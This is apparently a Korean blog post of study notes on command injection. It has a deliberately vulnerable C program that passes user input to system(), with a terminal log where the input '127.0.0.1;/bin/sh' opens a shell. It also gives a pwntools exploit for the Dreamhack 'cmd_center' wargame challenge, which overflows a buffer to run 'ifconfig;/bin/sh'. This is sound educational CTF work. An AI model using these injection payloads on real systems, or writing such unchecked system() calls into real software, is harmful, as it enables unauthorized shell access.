ENFJ_Blog
Command Injection 본문
https://dreamhack.io/lecture/courses/108
Logical Bug: Command Injection
명령어를 실행해주는 함수를 잘못 사용하여 발생하는 Command Injection취약점에 대해 배워보겠습니다.
dreamhack.io
Command Injection 뜻
사용자의 입력을 시스템 명령어로 실행하게 하는 것
Command injection은 명령어를 실행하는 함수에 사용자가 임의의 인자를 전달할 수 있을 때
예시
앞서 우리가 쓴 system 함수를 사용하면 사용자의 입력을 소프트웨어로 전달할 수 있습니다. 예를 들어 임의의 IP에 Ping을 전달하고 싶으면, system( “ping [user-input]”)를, 임의의 파일을 읽고 싶다면, system( “cat [user-input]”)을 사용하는 등 system 함수를 사용해 사용자의 입력을 소프트웨어로 전달할 수 있습니다.
이러한 과정에서 개발자가 재대로 검사하지 않으면 임의의 명령어가 실행될 수 있습니다. --> 이로 인해 command injection이 일어난다.
방법
일단 우리가 주목해야 할 것은 system 함수에서 지원하는 meta문자이다.
실습 코드
// Name: cmdi.c
// Compile: gcc -o cmdi cmdi.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const int kMaxIpLen = 36;
const int kMaxCmdLen = 256;
int main() {
char ip[kMaxIpLen];
char cmd[kMaxCmdLen];
// Initialize local vars
memset(ip, '\0', kMaxIpLen);
memset(cmd, '\0', kMaxCmdLen);
strcpy(cmd, "ping -c 2 ");
// Input IP
printf("Health Check\n");
printf("IP: ");
fgets(ip, kMaxIpLen, stdin);
// Construct command
strncat(cmd, ip, kMaxCmdLen);
printf("Execute: %s\n",cmd);
// Do health-check
system(cmd);
return 0;
}
위와 같은 코드에 보면 system 함수를 이용해 ip를 입력받고, ping을 날리는 모습을 볼 수 있다. 그런데 아까 우리가 봤던 meta 문자를 이용하여 우리가 원하는 명령어를 실행할 수 있는데
linux@LAPTOP-BP6JQC5G:/mnt/c/Users/user/Documents/wargame/dreamhack/실험$ ./cmdi
Health Check
IP: 127.0.0.1
Execute: ping -c 2 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.691 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.043/0.367/0.691/0.324 ms
linux@LAPTOP-BP6JQC5G:/mnt/c/Users/user/Documents/wargame/dreamhack/실험$ ./cmdi
Health Check
IP: 127.0.0.1;/bin/sh
Execute: ping -c 2 127.0.0.1;/bin/sh
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.152 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.049 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 0.049/0.100/0.152/0.051 ms
$
이런식으로 실행을 하고, ping 뒤에 ; 와 같이 ;을 붙이고 거기에 뒤에 명령어를 실행하게 되면, system(ping 127.0.0.1; /bin/sh) 과 같이 명령어가 실행되기에 아무 검사가 없어 그 명령어가 실행되게 된다.
이러한 상황으로 인해 필요한 상황이 아니면 system 함수를 쓰지 말아야하며, 만약 쓴다고 하더라도 검사를 꼭 해야한다.
https://dreamhack.io/wargame/challenges/117
cmd_center
Description IP를 확인할 필요가 없습니다! 혹시 다른 명령어는 못쓰나요? 다른 명령어를 사용했다면 플래그를 획득하세요! References https://dreamhack.io/learn/2/1#3 https://dreamhack.io/learn/2/14#3
dreamhack.io
cmd_center 문제
C코드
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
위 코드를 분석하게 되면 cmd_ip에 ifconfig를 붙여서 system함수로 ipconfig를 하게 되는데 여기서 사용자에게 center_name을 받게된다.
취약점
center_name을 받을 때 문자열의 길이를 넘게 받기 때문에 overflow가 일어나게 된다. 우리는 100byte 안에 있는 cmd_ip를 조작할 수 있기 때문에 ifconfig를 하고 ; 뒤에 /bin/sh 문자열을 추가해 쉘을 딸 수 있다.
총 익스플로잇
from pwn import *
p = remote("host3.dreamhack.games", 24128)
# p = process('./cmd_center')
payload = b'A'*0x20
payload += b"ifconfig;/bin/sh"
p.sendafter(b': ', payload)
p.interactive()
'Pwn' 카테고리의 다른 글
Use-After-Free(UAF) (0) | 2023.10.20 |
---|---|
ptmalloc - linux 메모리 할당 ( Memory Allocator ) (0) | 2023.10.19 |
개발자의 실수 - Type Error (0) | 2023.09.29 |
Format String Bug (0) | 2023.09.01 |
Out of Bounds(OOB) (0) | 2023.08.26 |